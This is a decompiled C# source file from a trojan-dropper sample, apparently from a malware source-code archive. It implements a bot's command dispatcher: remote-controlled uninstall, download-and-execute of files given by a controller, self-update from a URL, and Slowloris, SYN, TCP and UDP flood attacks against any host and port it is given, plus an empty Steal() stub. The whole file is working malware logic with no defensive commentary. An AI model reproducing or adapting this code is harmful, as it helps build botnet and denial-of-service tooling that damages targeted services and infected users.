MalwareSourceCode/MSIL/Trojan-Dropper/Win32/S/Trojan-Dropper.Win32.Sysn.bshb-a13f90b28df8b73652beb4c3c95ff1b8dc0c2fc41dee8f7d6acdd43828a0aadc/_command.cs
2022-08-18 06:28:56 -05:00

216 lines
4.9 KiB
C#

// Decompiled with JetBrains decompiler
// Type: Poly._command
// Assembly: Poly, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 618F3010-979B-4F78-8F99-D5C35E30AA2E
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Dropper.Win32.Sysn.bshb-a13f90b28df8b73652beb4c3c95ff1b8dc0c2fc41dee8f7d6acdd43828a0aadc.exe
using System;
namespace Poly
{
public class _command : Base_Settings
{
private static int task;
private static string[] taskArray;
public _command() => this.Initialise();
public override void Run() => this.issueCommand();
public override void Initialise()
{
try
{
_command.task = int.Parse(Base_Settings.command);
_command.taskArray = Base_Settings.response;
}
catch
{
}
}
private void issueCommand()
{
if (Base_Settings.busy)
return;
Base_Settings.busy = true;
switch (_command.task)
{
case 0:
Base_Settings.status = "Removed by user";
_communicate.setReturn(1);
_communicate.forceTalk();
_Install.Uninstall();
break;
case 1:
Base_Settings.status = "Downloaded File";
this.Download();
_communicate.setReturn(1);
break;
case 2:
Base_Settings.status = "starting flood";
this.Flood();
_communicate.setReturn(2);
break;
case 3:
this.Update();
break;
}
}
private void Update()
{
string task1 = _command.taskArray[1];
string str1 = string.Empty;
string str2 = string.Empty;
string Path;
if (_command.taskArray.Length == 3)
{
string task2 = _command.taskArray[2];
Path = Function.Update(task1, task2);
}
else
Path = Function.Update(task1);
if (Path == string.Empty)
Base_Settings.status = "Error";
else
_Install.Update(Path);
str1 = (string) null;
str2 = (string) null;
}
private void Download()
{
try
{
string task1 = _command.taskArray[1];
string str;
if (_command.taskArray.Length >= 3)
{
string task2 = _command.taskArray[2];
if (Function.DlExecute(task1, task2))
{
str = (string) null;
Base_Settings.busy = false;
}
else
{
_communicate.setReturn(0);
Base_Settings.status = "Failed downloading file";
}
}
else if (Function.DlExecute(task1))
{
str = (string) null;
Base_Settings.busy = false;
}
else
{
_communicate.setReturn(0);
Base_Settings.status = "Failed downloading file";
}
}
catch
{
}
}
private void Flood()
{
this.Initialise();
Console.WriteLine("Flood started?");
bool flag = true;
Function.Type type = Function.Type.Slowloris;
string Host = "";
int Packets;
try
{
Packets = int.Parse(_command.taskArray[5]);
}
catch
{
Packets = 1024;
}
int Timeout;
try
{
Timeout = int.Parse(_command.taskArray[6]);
}
catch
{
Timeout = 3000;
}
int Sockets;
try
{
Sockets = int.Parse(_command.taskArray[4]);
}
catch
{
Sockets = 20;
}
try
{
switch (int.Parse(_command.taskArray[1]))
{
case 1:
type = Function.Type.Slowloris;
break;
case 2:
type = Function.Type.SYN;
break;
case 3:
type = Function.Type.TCP;
break;
case 4:
type = Function.Type.UDP;
break;
default:
type = Function.Type.Slowloris;
break;
}
}
catch
{
flag = false;
}
int Port;
try
{
Port = int.Parse(_command.taskArray[3]);
}
catch
{
Port = 80;
}
try
{
Host = _command.taskArray[2];
}
catch
{
flag = false;
}
Console.WriteLine("Flood valid? : {0}", (object) flag);
if (flag)
{
Function.InitFlood(type, Host, Port, Sockets, Packets, Timeout);
Function.Begin();
Console.WriteLine("Flood started @@");
Console.WriteLine("Current busy state = {0}", (object) Base_Settings.busy);
}
else
{
if (flag)
return;
_communicate.setReturn(0);
Console.WriteLine("HOST = {0}\n Flood type = {1}\n PORT = {2}\n SOCKETS = {3}\n PACKETS = {4}\n TIMEOUT = {5}\n", (object) Host, (object) type, (object) Port, (object) Sockets, (object) Packets, (object) Timeout);
}
}
private void Steal()
{
}
}
}